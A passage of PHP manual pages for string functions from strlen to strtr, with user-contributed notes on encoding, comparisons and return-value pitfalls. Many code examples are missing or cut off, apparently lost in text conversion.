returning a string length of 5 and emitting an E_NOTICE level error.
Examples
Example #1 A strlen() example
>
<
Notes
Note:
strlen() returns the number of bytes rather than the number of
characters in a string.
Note:
strlen() returns NULL when executed on arrays, and an E_WARNING level
error is emitted.
See Also~
|count|() - Count all elements in an array, or something in an object
|grapheme_strlen|() - Get string length in grapheme units
|iconv_strlen|() - Returns the character count of string
|mb_strlen|() - Get string length
User Contributed Notes 15 notes
85 chernyshevsky at hotmail dot com ¶12 years ago~
The easiest way to determine the character count of a UTF8 string is
to pass the text through utf8_decode() first:
>
<
utf8_decode() converts characters that are not in ISO-8859-1 to '?',
which, for the purpose of counting, is quite alright.
30 rm dot nasir at hotmail dot com ¶1 year ago~
I want to share something seriously important for newbies or beginners
of PHP who plays with strings of UTF8 encoded characters or the
languages like: Arabic, Persian, Pashto, Dari, Chinese (simplified),
Chinese (traditional), Japanese, Vietnamese, Urdu, Macedonian,
Lithuanian, and etc. As the manual says: "strlen() returns the number
of bytes rather than the number of characters in a string.", so if you
want to get the number of characters in a string of UTF8 so use
mb_strlen() instead of strlen().
Example:
>
";
var_export( mb_strlen($utf8, 'utf8') ); // 32
?>
<
6 joeri at sebrechts dot net ¶8 months ago~
When checking for length to make sure a value will fit in a database
field, be mindful of using the right function.
There are three possible situations:
1. Most likely case: the database column is UTF-8 with a length
defined in unicode code points (e.g. mysql varchar(200) for a utf-8
database).
>
<
2. The database column has a length defined in bytes (e.g. oracle's VARCHAR2(200 BYTE))
>
<
3. The database column is in another character set (UTF-16,
ISO-8859-1, etc...) with a length defined in characters / code points.
Find the character set used, and pass it explicitly to the length function.
>
<
26 vcardillo at gmail dot com ¶4 years ago~
I would like to demonstrate that you need more than just this function
in order to truly test for an empty string. The reason being that
will return 0. So how do you know if the value
was null, or truly an empty string?
>
";
echo "Length: $len ";
echo "Length: " . strlen(null) . " ";
if (strlen($foo) === 0) echo 'Null length is Zero ';
if ($len === 0) echo 'Null length is still Zero ';
if (strlen($foo) == 0 && !is_null($foo)) echo '!is_null(): $foo is truly an empty string ';
else echo '!is_null(): $foo is probably null ';
if (strlen($foo) == 0 && isset($foo)) echo 'isset(): $foo is truly an empty string ';
else echo 'isset(): $foo is probably null ';
if (strlen($bar) == 0 && !is_null($bar)) echo '!is_null(): $bar is truly an empty string ';
else echo '!is_null(): $foo is probably null ';
if (strlen($bar) == 0 && isset($bar)) echo 'isset(): $bar is truly an empty string ';
else echo 'isset(): $foo is probably null ';
?>
<
// Begin Output:
Length: 0
Length: 0
Length: 0
Null length is Zero
Null length is still Zero
!is_null(): $foo is probably null
isset(): $foo is probably null
!is_null(): $bar is truly an empty string
isset(): $bar is truly an empty string
// End Output
So it would seem you need either is_null() or isset() in addition to strlen() if you care whether or not the original value was null.
--------------------------------------------------------------------------------
*strnatcasecmp*
+---------------+~
| strnatcasecmp |~
+---------------+~
(PHP 4, PHP 5, PHP 7)
strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm
Description~
>
int strnatcasecmp ( string $str1 , string $str2 )
<
This function implements a comparison algorithm that orders
alphanumeric strings in the way a human being would. The behaviour of
this function is similar to strnatcmp(), except that the comparison is
not case sensitive. For more information see: Martin Pool's » Natural
Order String Comparison page.
Parameters~
str1
-----
The first string.
str2
-----
The second string.
Return Values~
Similar to other string comparison functions, this one returns < 0 if
str1 is less than str2 > 0 if str1 is greater than str2, and 0 if they
are equal.
See Also~
|preg_match|() - Perform a regular expression match
|strcmp|() - Binary safe string comparison
|strcasecmp|() - Binary safe case-insensitive string comparison
|substr|() - Return part of a string
|stristr|() - Case-insensitive strstr
|strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters
|strncmp|() - Binary safe string comparison of the first n characters
|strstr|() - Find the first occurrence of a string
|setlocale|() - Set locale information
User Contributed Notes 3 notes
6 chatfielddaniel at googlemail dot com ¶5 years ago~
The function treats '_' as after letters and numbers when it would be
placed before logically.
--------------------------------------------------------------------------------
*strnatcmp*
+-----------+~
| strnatcmp |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
strnatcmp — String comparisons using a "natural order" algorithm
Description~
>
int strnatcmp ( string $str1 , string $str2 )
<
This function implements a comparison algorithm that orders
alphanumeric strings in the way a human being would, this is described
as a "natural ordering". Note that this comparison is case sensitive.
Parameters~
str1
-----
The first string.
str2
-----
The second string.
Return Values~
Similar to other string comparison functions, this one returns < 0 if
str1 is less than str2; > 0 if str1 is greater than str2, and 0 if
they are equal.
Examples~
An example of the difference between this algorithm and the regular computer string sorting algorithms (used in strcmp()) can be seen below:
>
<
The above example will output:
Standard string comparison
Array
(
[0] => img1.png
[1] => img10.png
[2] => img12.png
[3] => img2.png
)
Natural order string comparison
Array
(
[0] => img1.png
[1] => img2.png
[2] => img10.png
[3] => img12.png
)
For more information see: Martin Pool's » Natural Order String Comparison page.
See Also~
|preg_match|() - Perform a regular expression match
|strcasecmp|() - Binary safe case-insensitive string comparison
|substr|() - Return part of a string
|stristr|() - Case-insensitive strstr
|strcmp|() - Binary safe string comparison
|strncmp|() - Binary safe string comparison of the first n characters
|strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters
|strnatcasecmp|() - Case insensitive string comparisons using a "natural order" algorithm
|strstr|() - Find the first occurrence of a string
|natsort|() - Sort an array using a "natural order" algorithm
|natcasesort|() - Sort an array using a case insensitive "natural order" algorithm
--------------------------------------------------------------------------------
*strncasecmp*
+-------------+~
| strncasecmp |~
+-------------+~
(PHP 4 >= 4.0.2, PHP 5, PHP 7)
strncasecmp — Binary safe case-insensitive string comparison of the
first n characters
Description~
>
int strncasecmp ( string $str1 , string $str2 , int $len )
<
This function is similar to strcasecmp(), with the difference that you
can specify the (upper limit of the) number of characters from each
string to be used in the comparison.
Parameters~
str1
-----
The first string.
str2
-----
The second string.
len
-----
The length of strings to be used in the comparison.
Return Values
Returns < 0 if str1 is less than str2; > 0 if str1 is greater than
str2, and 0 if they are equal.
See Also~
|strncmp|() - Binary safe string comparison of the first n characters
|preg_match|() - Perform a regular expression match
|substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters
|strcasecmp|() - Binary safe case-insensitive string comparison
|stristr|() - Case-insensitive strstr
|substr|() - Return part of a string
--------------------------------------------------------------------------------
*strncmp*
+---------+~
| strncmp |~
+---------+~
(PHP 4, PHP 5, PHP 7)
strncmp — Binary safe string comparison of the first n characters
Description~
>
int strncmp ( string $str1 , string $str2 , int $len )
<
This function is similar to strcmp(), with the difference that you can
specify the (upper limit of the) number of characters from each string
to be used in the comparison.
Note that this comparison is case sensitive.
Parameters~
str1
-----
The first string.
str2
-----
The second string.
len
-----
Number of characters to use in the comparison.
Return Values~
Returns < 0 if str1 is less than str2; > 0 if str1 is greater than
str2, and 0 if they are equal.
See Also~
|strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters
|preg_match|() - Perform a regular expression match
|substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters
|strcmp|() - Binary safe string comparison
|strstr|() - Find the first occurrence of a string
|substr|() - Return part of a string
User Contributed Notes 4 notes
10 elloromtz at gmail dot com ¶6 years ago~
if length is 0 regardless what the two strings are, it will return 0
>
<
--------------------------------------------------------------------------------
*strpbrk*
+---------+~
| strpbrk |~
+---------+~
(PHP 5, PHP 7)
strpbrk — Search a string for any of a set of characters
Description~
>
string strpbrk ( string $haystack , string $char_list )
<
strpbrk() searches the haystack string for a char_list.
Parameters~
haystack
--------
The string where char_list is looked for.
char_list
---------
This parameter is case sensitive.
Return Values~
Returns a string starting from the character found, or FALSE if it is
not found.
Examples~
Example #1 strpbrk() example
>
<
See Also~
|strpos|() - Find the position of the first occurrence of a substring in a string
|strstr|() - Find the first occurrence of a string
|preg_match|() - Perform a regular expression match
User Contributed Notes 2 notes
8 devnuhl ¶2 years ago~
If you're not looking to duplicate the rest of the string, but instead
just want the offset, in the spirit of the str*pos() functions, use
strcspn()
--------------------------------------------------------------------------------
*strpos*
+--------+~
| strpos |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strpos — Find the position of the first occurrence of a substring in a string
Description~
>
mixed strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
<
Find the numeric position of the first occurrence of needle in the
haystack string.
Parameters~
haystack
--------
The string to search in.
needle
------
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
offset
------
If specified, search will start this number of characters counted from
the beginning of the string. If the offset is negative, the search
will start this number of characters counted from the end of the
string.
Return Values~
Returns the position of where the needle exists relative to the
beginning of the haystack string (independent of offset). Also note
that string positions start at 0, and not 1.
Returns FALSE if the needle was not found.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Changelog~
Version Description
7.1.0 Support for negative offsets has been added.
Examples~
Example #1 Using ===
>
<
Example #2 Using !==
>
<
Example #3 Using an offset
>
<
Notes~
Note: This function is binary-safe.
See Also~
|stripos|() - Find the position of the first occurrence of a case-insensitive substring in a string
|strrpos|() - Find the position of the last occurrence of a substring in a string
|strripos|() - Find the position of the last occurrence of a case-insensitive substring in a string
|strstr|() - Find the first occurrence of a string
|strpbrk|() - Search a string for any of a set of characters
|substr|() - Return part of a string
|preg_match|() - Perform a regular expression match
User Contributed Notes 47 notes
98 Suggested re-write for pink WARNING box ¶9 years ago~
WARNING
As strpos may return either FALSE (substring absent) or 0 (substring
at start of string), strict versus loose equivalency operators must be
used very carefully.
To know that a substring is absent, you must use:
=== FALSE
To know that a substring is present (in any position including 0), you
can use either of:
!== FALSE (recommended)
> -1 (note: or greater than any negative number)
To know that a substring is at the start of the string, you must use:
=== 0
To know that a substring is in any position other than the start, you can use any of:
> 0 (recommended)
!= 0 (note: but not !== 0 which also equates to FALSE)
!= FALSE (disrecommended as highly confusing)
Also note that you cannot compare a value of "" to the returned value
of strpos. With a loose equivalence operator (== or !=) it will return
results which don't distinguish between the substring's presence
versus position. With a strict equivalence operator (=== or !==) it
will always return false.
7 fabio at naoimporta dot com ¶1 year ago~
It is interesting to be aware of the behavior when the treatment of
strings with characters using different encodings.
>
strlen($haystack))
trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION__), E_USER_WARNING);
$seeks = array();
while($seek = strrpos($haystack, $needle))
{
array_push($seeks, $seek);
$haystack = substr($haystack, 0, $seek);
}
return $seeks;
}
it will return an array of all occurrences a the substring in the string
Example :
$test = "this is a test for testing a test function... blah blah";
var_dump(strpos_r($test, "test"));
// output
array(3) {
[0]=>
int(29)
[1]=>
int(19)
[2]=>
int(10)
}
Paul-antoine
Malézieux.
up
down
13 rjeggens at ijskoud dot org ¶5 years ago
I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that
strpos() !== false
is a different beast then:
strpos() === true
since the latter will never be true. After I found out, The warning in the documentation made a lot more sense.
up
down
15 akarmenia at gmail dot com ¶6 years ago
My version of strpos with needles as an array. Also allows for a string, or an array inside an array.
6 ohcc at 163 dot com ¶2 years ago~
Be careful when the $haystack or $needle parameter is an integer.
If you are not sure of its type, you should convert it into a string.
>
<
6 ilaymyhat-rem0ve at yahoo dot com ¶8 years ago~
This might be useful.
>
<
--------------------------------------------------------------------------------
*strrchr*
+---------+~
| strrchr |~
+---------+~
(PHP 4, PHP 5, PHP 7)
strrchr — Find the last occurrence of a character in a string
Description~
>
string strrchr ( string $haystack , mixed $needle )
<
This function returns the portion of haystack which starts at the last
occurrence of needle and goes until the end of haystack.
Parameters~
haystack
--------
The string to search in
needle
------
If needle contains more than one character, only the first is used.
This behavior is different from that of strstr().
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
Return Values~
This function returns the portion of string, or FALSE if needle is not found.
Changelog~
Version Description
4.3.0 This function is now binary safe.
Examples~
Example #1 strrchr() example
>
<
Notes
Note: This function is binary-safe.
See Also~
|strstr|() - Find the first occurrence of a string
|strrpos|() - Find the position of the last occurrence of a substring in a string
User Contributed Notes 10 notes
40 jphansen at uga dot edu ¶4 years ago~
To extract your portion of a string without the actual character you
searched for, you can use:
>
<
19 matthewkastor at live dot com ¶6 years ago~
>
* $example = 'http://example.com/path/file.php';
* $cwd_relative[] = cut_string_using_last('/', $example, 'left', true);
* $cwd_relative[] = cut_string_using_last('/', $example, 'left', false);
* $cwd_relative[] = cut_string_using_last('/', $example, 'right', true);
* $cwd_relative[] = cut_string_using_last('/', $example, 'right', false);
* foreach($cwd_relative as $string) {
* echo "$string ".PHP_EOL;
* }
*
*
* Outputs:
*
* http://example.com/path/
* http://example.com/path
* /file.php
* file.php
*
*
* @param string $character the character to search for.
* @param string $string the string to search through.
* @param string $side determines whether text to the left or the right of the character is returned.
* Options are: left, or right.
* @param bool $keep_character determines whether or not to keep the character.
* Options are: true, or false.
* @return string
*/
function cut_string_using_last($character, $string, $side, $keep_character=true) {
$offset = ($keep_character ? 1 : 0);
$whole_length = strlen($string);
$right_length = (strlen(strrchr($string, $character)) - 1);
$left_length = ($whole_length - $right_length - 1);
switch($side) {
case 'left':
$piece = substr($string, 0, ($left_length + $offset));
break;
case 'right':
$start = (0 - ($right_length + $offset));
$piece = substr($string, $start);
break;
default:
$piece = false;
break;
}
return($piece);
}
?>
<
9 readless at gmx dot net ¶10 years ago~
to: repley at freemail dot it
the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany
>
<
6 ¶11 years ago
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );
Result:
.php
$other_filename = 'strrchr_test.asp.php';
print strrchr( $other_filename, '.' );
Result:
.php
--------------------------------------------------------------------------------
*strrev*
+--------+~
| strrev |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strrev — Reverse a string
Description~
>
string strrev ( string $string )
<
Returns string, reversed.
Parameters~
string
------
The string to be reversed.
Return Values~
Returns the reversed string.
Examples~
Example #1 Reversing a string with strrev()
>
<
User Contributed Notes 1 note
14 carmel.alex at gmail.com ¶11 years ago~
This function support utf-8 encoding
>
function utf8_strrev($str){
preg_match_all('/./us', $str, $ar);
return join('',array_reverse($ar[0]));
}
<
--------------------------------------------------------------------------------
*strripos*
+----------+~
| strripos |~
+----------+~
(PHP 5, PHP 7)
strripos — Find the position of the last occurrence of a case-insensitive substring in a string
Description~
>
int strripos ( string $haystack , string $needle [, int $offset = 0 ] )
<
Find the numeric position of the last occurrence of needle in the
haystack string.
Unlike the strrpos(), strripos() is case-insensitive.
Parameters~
haystack
--------
The string to search in.
needle
------
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
offset
------
If specified, search will start this number of characters counted from
the beginning of the string. If the value is negative, search will
instead start from that many characters from the end of the string,
searching backwards.
Return Values~
Returns the position where the needle exists relative to the
beginnning of the haystack string (independent of search direction or
offset). Also note that string positions start at 0, and not 1.
Returns FALSE if the needle was not found.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Examples~
Example #1 A simple strripos() example
>
<
The above example will output:
Congratulations!
We found the last (aB) in (ababcd) at position (2)
See Also ¶
strpos() - Find the position of the first occurrence of a substring in a string
stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
strrpos() - Find the position of the last occurrence of a substring in a string
strrchr() - Find the last occurrence of a character in a string
stristr() - Case-insensitive strstr
substr() - Return part of a string
--------------------------------------------------------------------------------
*strrpos*
+---------+~
| strrpos |~
+---------+~
(PHP 4, PHP 5, PHP 7)
strrpos — Find the position of the last occurrence of a substring in a string
Description~
>
int strrpos ( string $haystack , string $needle [, int $offset = 0 ] )
<
Find the numeric position of the last occurrence of needle in the
haystack string.
Parameters~
haystack
--------
The string to search in.
needle
------
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
offset
------
If specified, search will start this number of characters counted from
the beginning of the string. If the value is negative, search will
instead start from that many characters from the end of the string,
searching backwards.
Return Values~
Returns the position where the needle exists relative to the beginning
of the haystack string (independent of search direction or offset).
Also note that string positions start at 0, and not 1.
Returns FALSE if the needle was not found.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Changelog~
Version Description
5.0.0 The needle may now be a string of more than one character.
Examples~
Example #1 Checking if a needle is in the haystack
It is easy to mistake the return values for "character found at
position 0" and "character not found". Here's how to detect the
difference:
>
<
Example #2 Searching with offsets
>
<
See Also~
|strpos|() - Find the position of the first occurrence of a substring in a string
|stripos|() - Find the position of the first occurrence of a case-insensitive substring in a string
|strripos|() - Find the position of the last occurrence of a case-insensitive substring in a string
|strrchr|() - Find the last occurrence of a character in a string
|substr|() - Return part of a string
User Contributed Notes 32 notes
32 brian at enchanter dot net ¶9 years ago~
The documentation for 'offset' is misleading.
It says, "offset may be specified to begin searching an arbitrary
number of characters into the string. Negative values will stop
searching at an arbitrary point prior to the end of the string."
This is confusing if you think of strrpos as starting at the end of the string and working backwards.
A better way to think of offset is:
- If offset is positive, then strrpos only operates on the part of the
string from offset to the end. This will usually have the same
results as not specifying an offset, unless the only occurences of
needle are before offset (in which case specifying the offset won't
find the needle).
- If offset is negative, then strrpos only operates on that many
characters at the end of the string. If the needle is farther away
from the end of the string, it won't be found.
If, for example, you want to find the last space in a string before
the 50th character, you'll need to do something like this:
strrpos($text, " ", -(strlen($text) - 50));
If instead you used strrpos($text, " ", 50), then you would find the
last space between the 50th character and the end of the string, which
may not have been what you were intending.
8 Daniel Brinca ¶9 years ago~
Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards (lastIndexOf type function):
>
//search backwards for needle in haystack, and return its position
function rstrpos ($haystack, $needle, $offset){
$size = strlen ($haystack);
$pos = strpos (strrev($haystack), $needle, $size - $offset);
if ($pos === false)
return false;
return $size - $pos;
}
<
Note: supports full strings as needle
--------------------------------------------------------------------------------
*strspn*
+--------+~
| strspn |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strspn — Finds the length of the initial segment of a string
consisting entirely of characters contained within a given mask.
Description~
>
int strspn ( string $subject , string $mask [, int $start [, int $length ]] )
<
Finds the length of the initial segment of subject that contains only
characters from mask.
If start and length are omitted, then all of subject will be examined.
If they are included, then the effect will be the same as calling
strspn(substr($subject, $start, $length), $mask) (see substr for more
information).
The line of code:
>
<
will assign 2 to $var, because the string "42" is the initial segment
of subject that consists only of characters contained within
"1234567890".
Parameters~
subject
-------
The string to examine.
mask
-----
The list of allowable characters.
start
-----
The position in subject to start searching.
If start is given and is non-negative, then strspn() will begin
examining subject at the start'th position. For instance, in the
string 'abcdef', the character at position 0 is 'a', the character at
position 2 is 'c', and so forth.
If start is given and is negative, then strspn() will begin examining
subject at the start'th position from the end of subject.
length
------
The length of the segment from subject to examine.
If length is given and is non-negative, then subject will be examined
for length characters after the starting position.
If length is given and is negative, then subject will be examined from
the starting position up to length characters from the end of subject.
Return Values~
Returns the length of the initial segment of subject which consists
entirely of characters in mask.
Note:
When a start parameter is set, the returned length is counted starting
from this position, not from the beginning of subject.
Examples~
Example #1 strspn() example
>
<
The above example will output:
int(0)
int(2)
int(1)
Notes
Note: This function is binary-safe.
See Also~
|strcspn|() - Find length of initial segment not matching mask
User Contributed Notes 6 notes
11 AT-HE (at_he.hotmail) ¶6 years ago~
you can use this function with strlen to check illegal characters,
string lenght must be the same than strspn (characters from my string
contained in another)
>
<
11 barry dot balkowski at gmail dot com ¶8 years ago~
It took me some time to understand the way this function works…
I’ve compiled my own explanation with my own words that is more
understandable for me personally than the official one or those that
can be found in different tutorials on the web.
Perhaps, it will save someone several minutes…
>
<
The way it works:
- searches for a segment of $haystack that consists entirely from
supplied through the second argument chars
- $haystack must start from one of the chars supplied through
$char_list, otherwise the function will find nothing
- as soon as the function encounters a char that was not mentioned
in $chars it understands that the segment is over and stops (it
doesn’t search for the second, third and so on segments)
- finally, it measures the segment’s length and return it (i.e.
length)
In other words it finds a span (only the first one) in the string that
consists entirely form chars supplied in $chars_list and returns its
length
6 B Crawford ¶9 years ago~
This function is significantly faster for checking illegal characters
than the equivalent preg_match() method.
--------------------------------------------------------------------------------
*strstr*
+--------+~
| strstr |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strstr — Find the first occurrence of a string
Description~
>
string strstr ( string $haystack , mixed $needle [, bool $before_needle = false ] )
<
Returns part of haystack string starting from and including the first
occurrence of needle to the end of haystack.
Note:
This function is case-sensitive. For case-insensitive searches, use
stristr().
Note:
If you only want to determine if a particular needle occurs within
haystack, use the faster and less memory intensive function strpos()
instead.
Parameters~
haystack
--------
The input string.
needle
------
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
before_needle
-------------
If TRUE, strstr() returns the part of the haystack before the first
occurrence of the needle (excluding the needle).
Return Values~
Returns the portion of string, or FALSE if needle is not found.
Changelog~
Version Description
5.3.0 Added the optional parameter before_needle.
4.3.0 strstr() was made binary safe.
Examples~
Example #1 strstr() example
>
<
See Also~
|stristr|() - Case-insensitive strstr
|strrchr|() - Find the last occurrence of a character in a string
|strpos|() - Find the position of the first occurrence of a substring in a string
|strpbrk|() - Search a string for any of a set of characters
|preg_match|() - Perform a regular expression match
User Contributed Notes 8 notes
21 gruessle at gmail dot com ¶5 years ago~
Been using this for years:
>
<
You could change it to:
rstrstr ( string $haystack , mixed $needle [, int $start] )
>
<
15 laszlo dot heredy at gmail dot com ¶3 years ago~
strstr() is not a way to avoid type-checking with strpos().
If $needle is the last character in $haystack, and testing $needle as
a boolean by itself would evaluate to false, then testing strstr() as
a boolean will evaluate to false (because, if successful, strstr()
returns the first occurrence of $needle along with the rest of
$haystack).
>
<
Also, strstr() is far more memory-intensive than strpos(), especially
with longer strings as your $haystack, so if you are not interested in
the substring that strstr() returns, you shouldn't be using it anyway.
There is no PHP function just to check only _if_ $needle occurs in
$haystack; strpos() tells you if it _doesn't_ by returning false, but,
if it does occur, it tells you _where_ it occurs as an integer, which
is 0 (zero) if $needle is the first part of $haystack, which is why
testing if (strpos($needle, $haystack)===false) is the only way to
know for sure if $needle is not part of $haystack.
My advice is to start loving type checking immediately, and to
familiarize yourself with the return value of the functions you are
using.
Cheers.
9 brett dot jr dot alton at gmail dot com ¶9 years ago~
For the needle_before (first occurance) parameter when using PHP 5.x
or less, try:
>
<
--------------------------------------------------------------------------------
*strtok*
+--------+~
| strtok |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strtok — Tokenize string
Description~
>
string strtok ( string $str , string $token )
string strtok ( string $token )
<
strtok() splits a string (str) into smaller strings (tokens), with
each token being delimited by any character from token. That is, if
you have a string like "This is an example string" you could tokenize
this string into its individual words by using the space character as
the token.
Note that only the first call to strtok uses the string argument.
Every subsequent call to strtok only needs the token to use, as it
keeps track of where it is in the current string. To start over, or to
tokenize a new string you simply call strtok with the string argument
again to initialize it. Note that you may put multiple tokens in the
token parameter. The string will be tokenized when any one of the
characters in the argument is found.
Parameters~
str
-----
The string being split up into smaller strings (tokens).
token
-----
The delimiter used when splitting up str.
Return Values~
A string token.
Examples~
Example #1 strtok() example
>
";
$tok = strtok(" \n\t");
}
?>
<
Example #2 strtok() behavior on empty part found
>
<
The above example will output:
string(9) "something"
bool(false)
Notes
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
See Also~
|split|() - Split string into array by regular expression
|explode|() - Split a string by string
User Contributed Notes 17 notes
16 manicdepressive at mindless dot com ¶12 years ago~
>
<
29 eep2004 at ukr dot net ¶3 years ago~
>
<
Result:
Hello to all
8 elarlang at gmail dot com ¶6 years ago~
If you have memory-usage critical solution, you should keep in mind,
that strtok function holds input string parameter (or reference to
it?) in memory after usage.
>
<
Test-cases with handling ~10MB plain-text file:
Case #1 - unset $str variable
>
<
Case #1 result: memory is still used
Case #2 - call strtok again
>
<
Case #2 result: memory is still used
Case #3 - call strtok again AND unset $str variable
>
<
Case #3 result: memory is free
So, better solution for tokenize function:
>
<
7 eep2004 at ukr dot net ¶2 years ago~
Remove GET variables from the URL
>
<
Result:
http://example.com/index.php
--------------------------------------------------------------------------------
*strtolower*
+------------+~
| strtolower |~
+------------+~
(PHP 4, PHP 5, PHP 7)
strtolower — Make a string lowercase
Description~
>
string strtolower ( string $string )
<
Returns string with all alphabetic characters converted to lowercase.
Note that 'alphabetic' is determined by the current locale. This means
that e.g. in the default "C" locale, characters such as umlaut-A (Ä)
will not be converted.
Parameters~
string
------
The input string.
Return Values~
Returns the lowercased string.
Examples~
Example #1 strtolower() example
>
<
Notes
Note: This function is binary-safe.
See Also~
|strtoupper|() - Make a string uppercase
|ucfirst|() - Make a string's first character uppercase
|ucwords|() - Uppercase the first character of each word in a string
|mb_strtolower|() - Make a string lowercase
User Contributed Notes 16 notes
66 marcin at maydesign dot pl ¶6 years ago~
strtolower(); doesn't work for polish chars
>
<
will return: mAka;
the best solution - use mb_strtolower()
>
<
will return: maka
31 coder at bulgaria dot bg ¶7 years ago~
for cyrillic and UTF 8 use mb_convert_case
exampel
>
<
7 helvete at bahno dot net ¶2 years ago~
It is worth noting that
>
<
returns:
string(0) ""
7 rodrigoATsistemasparainternetDOTcomDOTbr ¶8 years ago~
>
$value) {
$result = ereg_replace(addslashes($value),$key,$result);
}
return(strtolower($result));
}
echo fullLower("Ã É Ò Õ ÚÙÛ");
//results ã é ò õ úùû
//adapted from fullUpper on strtoupper manual
?>
<
6 dbers26 at gmail dot com ¶8 years ago~
the function arraytolower will create duplicate entries since keys
are case sensitive.
>
'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');
$array = arraytolower($array);
?>
<
/*
Array
(
[test1] => asgafasdaad
[TEST2] => ASddhshsDGb
[TeSt3] => asdasda@asdadadASDASDgh
[test2] => asddhshsdgb
[test3] => asdasda@asdadadasdasdgh
)
*/
I prefer this method
>
$value) {
if(is_array($value))
$array2[strtolower($key)] = arraytolower($value, $include_leys);
else
$array2[strtolower($key)] = strtolower($value);
}
$array = $array2;
}
else {
foreach($array as $key => $value) {
if(is_array($value))
$array[$key] = arraytolower($value, $include_leys);
else
$array[$key] = strtolower($value);
}
}
return $array;
}
?>
<
which when used like this
>
'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');
$array1 = arraytolower($array);
$array2 = arraytolower($array,true);
print_r($array1);
print_r($array2);
?>
<
will give output of
Array
(
[test1] => asgafasdaad
[TEST2] => asddhshsdgb
[TeSt3] => asdasda@asdadadasdasdgh
)
Array
(
[test1] => asgafasdaad
[test2] => asddhshsdgb
[test3] => asdasda@asdadadasdasdgh
)
--------------------------------------------------------------------------------
*strtoupper*
+------------+~
| strtoupper |~
+------------+~
(PHP 4, PHP 5, PHP 7)
strtoupper — Make a string uppercase
Description~
>
string strtoupper ( string $string )
<
Returns string with all alphabetic characters converted to uppercase.
Note that 'alphabetic' is determined by the current locale. For
instance, in the default "C" locale characters such as umlaut-a (ä)
will not be converted.
Parameters~
string
------
The input string.
Return Values~
Returns the uppercased string.
Examples~
Example #1 strtoupper() example
>
<
Notes
Note: This function is binary-safe.
See Also~
|strtolower|() - Make a string lowercase
|ucfirst|() - Make a string's first character uppercase
|ucwords|() - Uppercase the first character of each word in a string
|mb_strtoupper|() - Make a string uppercase
User Contributed Notes 14 notes
32 andre at koethur dot de ¶3 years ago~
One might think that setting the correct locale would do the trick
with for example german umlauts, but this is not the case. You have to
use mb_strtoupper() instead:
>
<
6 Anonymous ¶11 years ago~
// 2005/5/30 Justin
// Chinese_Traditional toupper
function CT_to_upper($string)
{
$isChineseStart = false;
$new_string = "";
$i = 0;
while($i < strlen($string))
{
if (ord(substr($string,$i,1)) <128)
{
if( $isChineseStart == false )
$new_string .= strtoupper(mb_substr($string,$i,1));
else
$new_string .= substr($string,$i,1);
}
else
{
if( $isChineseStart == false )
$isChineseStart = true;
else
$isChineseStart = false;
$new_string .= substr($string,$i,1);
}
$i++;
}
return $new_string;
}
//
6 mec at stadeleck dot org ¶14 years ago~
something I myself first not thought about: if there are any html
entities (named entities) in your string, strtoupper will turn all
letters within this entities to upper case, too. So if you want to
manipulate a string with strtoupper it should contain only unicode
entities (if ever).
--------------------------------------------------------------------------------
*strtr*
+-------+~
| strtr |~
+-------+~
(PHP 4, PHP 5, PHP 7)
strtr — Translate characters or replace substrings
Description~
>
string strtr ( string $str , string $from , string $to )
string strtr ( string $str , array $replace_pairs )
<
If given three arguments, this function returns a copy of str where
all occurrences of each (single-byte) character in from have been
translated to the corresponding character in to, i.e., every
occurrence of $from[$n] has been replaced with $to[$n], where $n is a
valid offset in both arguments.
If from and to have different lengths, the extra characters in the
longer of the two are ignored. The length of str will be the same as
the return value's.
If given two arguments, the second should be an array in the form
array('from' => 'to', ...). The return value is a string where all the
occurrences of the array keys have been replaced by the corresponding
values. The longest keys will be tried first. Once a substring has
been replaced, its new value will not be searched again.
In this case, the keys and the values may have any length, provided
that there is no empty key; additionally, the length of the return
value may differ from that of str. However, this function will be the
most efficient when all the keys have the same size.
Parameters~
str
-----
The string being translated.
from
-----
The string being translated to to.
to
-----
The string replacing from.
replace_pairs
-------------
The replace_pairs parameter may be used instead of to and from, in
which case it's an array in the form array('from' => 'to', ...).
Return Values~
Returns the translated string.
If replace_pairs contains a key which is an empty string (""), FALSE
will be returned. If the str is not a scalar then it is not typecasted
into a string, instead a warning is raised and NULL is returned.
Examples~
Example #1 strtr() example
>
<
The next example shows the behavior of strtr() when called with only
two arguments. Note the preference of the replacements ("h" is not
picked because there are longer matches) and how replaced text was not
searched again.
Example #2 strtr() example with two arguments
>
"-", "hello" => "hi", "hi" => "hello");
